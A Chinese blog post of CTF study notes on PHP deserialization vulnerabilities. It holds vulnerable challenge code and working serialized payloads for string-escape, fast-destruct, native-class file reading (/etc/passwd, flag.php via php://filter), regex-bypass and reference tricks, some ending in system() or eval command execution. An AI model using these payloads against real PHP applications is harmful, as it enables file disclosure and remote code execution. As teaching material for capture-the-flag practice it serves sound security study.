反序列化漏洞

PHP反序列化研究 -

 注意:protected privated

例题:

bugku兔年大吉

知识点:
1. __construct():构造函数
2. __destruct():析构函数
3. __clone():调用clone指令的时候调用
4. __tostring():将对象当成字符串使用的时候自动调用
5. __invoke():将对象当成函数的时候自动调用
6. __set():给无法访问的属性赋值的时候自动调用
7. __get():获取无法访问的属性自动调用
8. __isset():判断无法访问的属性是否存在自动调用
9. __unset():销毁无法访问的属性的时候自动执行
10. __call():调用无法访问的方法时自动执行
11. __callstatic():调用无法访问的静态方法的时候自动执行
12. __sleep():当序列化的时候自动执行
13. __wakeup():当反序列化的时候自动执行


区分大小写的: 变量名、常量名、数组索引(键名key)
不区分大小写的:函数名、方法名、类名、魔术常量、NULL、FALSE、TRUE
//直接为私有属性赋值的操作,会自动调用__set()方法进行赋值
$p1->name="张三";

//直接获取私有属性的值,会自动调用__get()方法,返回成员属性的值
echo "姓名:".$p1->name."<br>";

   当序列化的内容被反序列化时,由于unserialize($_POST['pop'];为程序结尾的位置,所以会调用__destruct魔术方法,触发pop链

模板: 


字符串逃逸:

(1)字符串增多逃逸

需要在最前边的参数后添加需要逃逸的字符,通过增多来使后边的字符串无效

标准输出:O:4:"test":2:{s:5:"Chant";s:0:"";s:11:"Spear_Owner";s:6:"MaoLei";}

 然后我们在重新理一下。目的是在夺命十三枪后面修改为";s:11:"Spear_Owner";s:6:"MaoLei";},该字符串长度为35,根据代码可以知道"di_qi_qiang" => "Penetrating_Gaze",刚好是从11->16,每次转换可以逃逸5个字符串,只需要重复7次"di_qi_qiang"即可完成逃逸,所以最终

payload:?chant=di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

(2)字符串减少逃逸:

需要在第二个可控位置上加上逃逸字符串,通过字符串长度的减少,吞掉前边无用字符串

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

可以看到在传入参数$f 为 show_image 的时候,会将序列化且过滤后的_SESSION 进行反序列化。因为_SESSION 是一个数组,序列化后形如:a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
其中的 user 与 function 是可以通过 extract 函数进行变量覆盖的,而 img 的赋值在 extract 函数之后,没法覆盖,若是通过 img_path 参数传入,那么 img 又会被进行 base64 加密与 sha1 加密,在末尾的 file_get_content 函数只将其进行了一次 base64解密,显然 img_path 传入的方式不可控,既然 img 整个不可控 

正常序列化结果:
a:3:{s:4:"user";s:23:"flagflagflagflagflagphp";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

则第二个参数需要传";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

";s:8:"function";s:64:"为需要逃逸吞掉的字符串一共23位,可以构造user逃逸

<?php
$_SESSION["user"] = 'flagflagflagflagflagphp';
$_SESSION['function'] ='";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']="ZDBnM19mMWFnLnBocA==";
//ZDBnM19mMWFnLnBocA==是base64编码后的d0g3_f1ag.php
echo serialize($_SESSION);


该序列化结果:
a:3:{s:4:"user";s:23:"flagflagflagflagflagphp";s:8:"function";s:64:"";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}


?>
则最终通过 POST 方法传入参数如下:
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFn
LnBocA==";}

newphp 例题

详细对比每一步输出

3.如果反序列化会检查name变量的第一个首字母是不是V

第一种:在类里面写两次相同的属性名,后面的属性值会覆盖前面的属性值(注意:类的属性个数记得加一)

O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:7:"print_r";s:3:"msg";s:4:"test";}

 4.fast_desturct:从power!初识fast destruct

原payload:
O:8:"Backdoor":3:{s:1:"a";O:10:"FileViewer":3:{s:10:"black_list";s:4:"flag";s:5:"local";s:17:"http://127.0.0.1/";s:4:"path";N;}s:1:"b";s:5:"local";s:11:"superhacker";s:22:"http://127.0.0.1:65500";}

修改序列化数字元素个数
此处将backdoor后的3改为任意值

O:8:"Backdoor":4:{s:1:"a";O:10:"FileViewer":3:{s:10:"black_list";s:4:"flag";s:5:"local";s:17:"http://127.0.0.1/";s:4:"path";N;}s:1:"b";s:5:"local";s:11:"superhacker";s:22:"http://127.0.0.1:65500";}

去掉序列化尾部 }
O:8:"Backdoor":3:{s:1:"a";O:10:"FileViewer":3:{s:10:"black_list";s:4:"flag";s:5:"local";s:17:"http://127.0.0.1/";s:4:"path";N;}s:1:"b";s:5:"local";s:11:"superhacker";s:22:"http://127.0.0.1:65500";

5.原生类利用

        php中有许多内置的原生类,可以利用内置的原生类攻击到达目的;

目录遍历类——DirectoryIterator 可输出指定目录的第一个文件;DirectoryIterator与glob://协议在一起组合可以绕过open_basedir

<?php
$dir = $_GET['XINO'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
    echo($f.'<br>');
?>
# payload一句话的形式:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f.'<br>');}

payload:?XINO=glob:///*      #列出根目录下所有文件

文件读取类——SplFileObject 可读取指定文件的内容;平常读取只能读取一行,要全部读取需要对内容进行遍历

?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
    echo($f);
}

GlobIterator 类也可以遍历一个文件目录,但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径。**根据该类特点,**不用在配合glob://协议

$a = new FilesystemIterator("/*");foreach($a as $f){echo($f.'<br>');}

它的特点就是,只需要知道部分名称就可以进行遍历

<?php
class test
{
    public $a;
    public $b;
    public function __wakeup()
    {
        echo $this->a($this->b);
    }
}

?>
$a=DirectoryIterator,$b=glob://f* 时可得到文件名/flag
$a=SplFileObject,$b=/flag 时可读取/flag文件的内容
$a=GlobIterator ,$b=/*flag*

DirectoryTterator和SplFileObject都通过echo输出对象出发,DirectoryIterator读目录只
能返回目录的第一条、可以使用通配符、需配合伪协议glob://读取,SplFileObject读文件内容文
件名不支持通配符、只返回文件内容的第一行、配合伪协议php://fliter才可读取文件全部内容
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}

2)由于echo new无回显,所以需要伪协议

a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

6. O:+4绕过正则匹配; 或者将对象放入数组再序列化 serialize(array($a));

  前者有的php版本不适应,后者通用;

 if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 

(1)例题: 在php低版本中,O或a的冒号后的数字前可以加一个+来进行绕过。但这个题目的版本是7.3无法绕过

class ctfshow{

    public function __wakeup(){
        die("not allowed!");
    }

    public function __destruct(){
        system($this->ctfshow);
    }

}

$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){
    unserialize($data);
}


?>

wp使用了ArrayObject(),使用这个类去修饰ctfshow

经过所有测试发现可以用的类为:
●ArrayObject::unserialize
●ArrayIterator::unserialize
●RecursiveArrayIterator::unserialize
●SplObjectStorage::unserialize

<?php

class ctfshow{
    public $ctfshow = 'whoami';

}
$a= new ArrayObject();
$a -> a = new ctfshow();
echo serialize($a);
?>

 //C:11:"ArrayObject":74:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}}}

7.引用

//简单例题
 
<?php
 
show_source(__FILE__);
 
###very___so___easy!!!!
class test{
    public $a;
    public $b;
    public $c;
    public function __construct(){
        $this->a=1;
        $this->b=2;
        $this->c=3;
    }
    public function __wakeup(){
        $this->a='';
    }
    public function __destruct(){
        $this->b=$this->c;
        eval($this->a);
    }
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
    die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);
:"a";N;s:1:"b";R:2;s:1:"c";s:33:"system("cat /fffffffffflagafag");";}
<?php
class test
{
    public $a;
    public $b;
    public $c='system("cat /fffffffffflagafag");';
 
}
$h = new test();
$h->b = &$h->a;   //注意:取会改变的属性的地址,如取a的地址赋值给b,当给a赋值时a会等于b的值
echo '?a='.serialize($h);
8.大写S当十六进制绕过

    表示字符串类型的s大写为S时,其对应的值会被当作十六进制解析

例如   s:13:"SplFileObject"  中的Object被过滤
 
可改为  S:13:"SplFileOb\6aect"
 
小写s变大写S,长度13不变,\6a是字符j的十六进制编码

 9.php类名不区分大小写

O:1:"A":2:{s:1:"c";s:2:"11";s:1:"b";s:2:"22";}
 
等效于
 
O:1:"a":2:{s:1:"c";s:2:"11";s:1:"b";s:2:"22";}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

El.十一

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值